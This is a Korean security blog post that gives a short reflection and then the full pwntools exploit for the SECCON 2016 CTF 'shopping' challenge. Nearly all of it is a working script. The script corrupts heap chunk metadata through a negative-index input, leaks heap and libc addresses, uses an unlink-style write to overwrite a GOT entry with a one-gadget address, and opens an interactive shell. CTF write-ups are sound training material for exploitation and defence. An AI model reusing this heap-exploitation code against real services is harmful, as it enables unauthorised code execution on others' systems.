Notice
Recent Posts
Recent Comments
Link
«   2025/05   »
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

SECCON 2016 shopping 본문

Security/Pwnable

SECCON 2016 shopping

Cdor1 2017. 1. 17. 15:00

후기 : 문제 자체는 그렇게 어렵지 않았는데 분석하는게 너무 힘들었다.

구조체가 엄청 많고 메뉴가 많아 익스플로잇도 길어지고 여러모로 멘탈 강화 훈련을 한 문제다.

오랜 시간 집중하고싶으면 이문제를 추천하고싶다.

from pwn import *
s = remote('localhost',4000)

def overwrite(payload, yorn):
	print s.recvuntil(': ')
	s.sendline('-1')
	print s.recvuntil('>>')
	s.sendline('y')
	print s.recvuntil(':')
	s.sendline(payload)
	print s.recvuntil('>>')
	s.sendline(yorn)

def overwrite2(payload):
        print s.recvuntil(': ')
        s.sendline('-1')
        print s.recvuntil('>>')
        s.sendline('n')
        print s.recvuntil('>>')
	s.sendline('y')
	print s.recvuntil(':')
        s.sendline(payload)

def shopmode():
	print s.recvuntil(':')
	s.sendline('1')

def customermode():
	print s.recvuntil(':')
	s.sendline('2')

def re():
	print s.recv(4096)
	s.sendline('0')

def shop_add(name, price, stock):
	print s.recvuntil(':')
	s.sendline('1')
	print s.recvuntil('Name >> ')
	s.sendline(name)
	print s.recvuntil('Price >> ')
	s.sendline(price)
	print s.recvuntil('Stock >> ')
	s.sendline(stock)

def shop_list():
	print s.recvuntil(':')
	s.sendline('2')

def shop_reset():
	print s.recvuntil(': ')
	s.sendline('3')

def customer_add(name, num):
	print s.recvuntil(': ')
	s.sendline('1')
	print s.recvuntil('Product name >> ')
	s.sendline(name)
	print s.recvuntil('Amount >> ')
	s.sendline(str(num))
	
def customer_list():
	print s.recvuntil(': ')
	s.sendline('2')

def customer_buy():
	print s.recvuntil(': ')
	s.sendline('3')

def customer_reset():
	print s.recvuntil(': ')
	s.sendline('4')

shopmode()
shop_add('dor1', '2147483647', '2147483647')
re()
customermode()
customer_add('dor1', 1)
customer_buy()
re()

shopmode()
print s.recvuntil('>>')
s.sendline('y')
print s.recvuntil(':')
s.sendline('a'*64)
print s.recvuntil(':')
pay = 'b'*0x29 + p64(0xa0)
s.sendline(pay)
shop_add('dor2', 1, 1)
shop_add('dor3', 1, 1)
re()

pay2 = 'a'*0x60
pay2 += p64(0)
pay2 += p64(0x31)
pay2 += p64(0x603118)
overwrite(pay2, 'n')

shopmode()
shop_list()
print s.recvuntil(')')
heap = u64(s.recv(6).ljust(8,'\x00')
log.info('heap : ' + hex(heap))
re()

pay3 = 'a'*0x60
pay3 += p64(0x0)
pay3 += p64(0x31)
pay3 += p64(0x603018)
overwrite(pay3, 'n')

shopmode()
shop_list()
print s.recvuntil(')')
free = u64(s.recv(6).ljust(8, '\x00')
base = free - 0x1F470
one_shot = base + 0x464D8
log.info('free : ' + hex(free))
log.info('base : ' + hex(base))
log.info('one_shot : ' + hex(one_shot))

pay4 = 'a'*16
pay4 += p64(0x603118 - 0x18)
pay4 += p64(0x603118 - 0x10)
pay4 += 'a'*(0x60 - 32)
pay4 += p64(0xb0)
pay4 += p64(0x30)
pay4 += p64(heap + 0x50)
overwrite(pay4, 'y')
print s.recvuntil(':')
pay5 = 'b'*8
pay5 += p64(0x603118 - 0x18)
pay5 += p64(0x603118 - 0x10)
pay5 += '\x00'*24
overwrite2(pay5)

shopmode()
shop_reset()
re()
pay6 = 'a'*0x10
pay6 += p64(0x6030c0)
overwrite2(pay6)
overwrite2(p64(one_shot))
shopmode()
print s.recvuntil(':')
s.sendline('1')
print s.recvuntil('>>')
s.sendline('aaaa')
s.interactive()

'Security > Pwnable' 카테고리의 다른 글

Hack.lu CTF 2014 OREO  (0) 2017.01.18
9447 CTF search engine  (0) 2017.01.18
SECUINSIDE Quals 2016 noted  (0) 2017.01.17
PoliCTF-2015 johns-library  (0) 2017.01.16
H3X0R CTF comment  (0) 2017.01.13
Comments